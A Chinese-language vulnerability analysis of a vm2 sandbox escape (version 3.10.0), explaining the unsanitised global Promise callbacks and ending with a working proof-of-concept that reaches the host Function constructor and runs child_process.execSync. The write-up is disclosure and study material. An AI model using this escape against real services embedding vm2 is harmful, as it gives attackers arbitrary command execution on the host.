前言

vm2 是 Node.js 生态中广泛使用的沙箱库,用于在隔离环境中安全执行不受信任的 JavaScript 代码。它被用于在线代码执行平台、插件系统、模板引擎等多种场景。

漏洞概述

vm2 使用 Promise 的 then 和 catch 方法时,对回调函数的清理存在缺陷:

  1. localPromise.prototype.then 的回调被正确清理
  2. 但 globalPromise.prototype.then/catch 的回调未被清理
  3. async 函数返回的是 globalPromise 对象,而非 localPromise

这导致攻击者可以通过 async 函数配合异常处理,获取宿主环境的对象引用,进而实现沙箱逃逸。

漏洞分析/复现

环境搭建

安装vm2@3.10.0版本

mkdir vm2-poc && cd vm2-poc
npm init -y
npm install vm2@3.10.0

漏洞分析

漏洞位于 lib/setup-sandbox.js 文件中。

问题代码 1:globalPromise.prototype.then 未清理回调

const globalPromiseThen = globalPromise.prototype.then;
globalPromise.prototype.then = function then(onFulfilled, onRejected) {
    resetPromiseSpecies(this);
    return globalPromiseThen.call(this, onFulfilled, onRejected);  // 未清理回调
};

对比 localPromise.prototype.then(正确实现)

overrideWithProxy(PromisePrototype, 'then', PromisePrototype.then, {
    apply(target, thiz, args) {
        if (args.length > 1) {
            const onRejected = args[1];
            if (typeof onRejected === 'function') {
                args[1] = function wrapper(error) {
                    error = ensureThis(error);  // 正确清理
                    return localReflectApply(onRejected, this, [error]);
                };
            }
        }
        return localReflectApply(target, thiz, args);
    }
});

补丁使用apply替换了globalPromiseCatch.call

漏洞复现

  1. Error.name = Symbol() 导致 stack 访问时抛出未清理的异常
  2. async 函数返回 globalPromise,其 .catch() 回调未清理
  3. 通过 e.constructor.constructor 获取宿主 Function
  4. 宿主 Function 创建的代码可访问 process.mainModule.require

const { VM } = require("vm2");

const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
    const Error = e.constructor;
    const Function = Error.constructor;
    const f = new Function(
        "process.mainModule.require('child_process').execSync('calc.exe')"
    );
    f();
});
`;

new VM().run(code);

引用

https://nvd.nist.gov/vuln/detail/CVE-2026-22709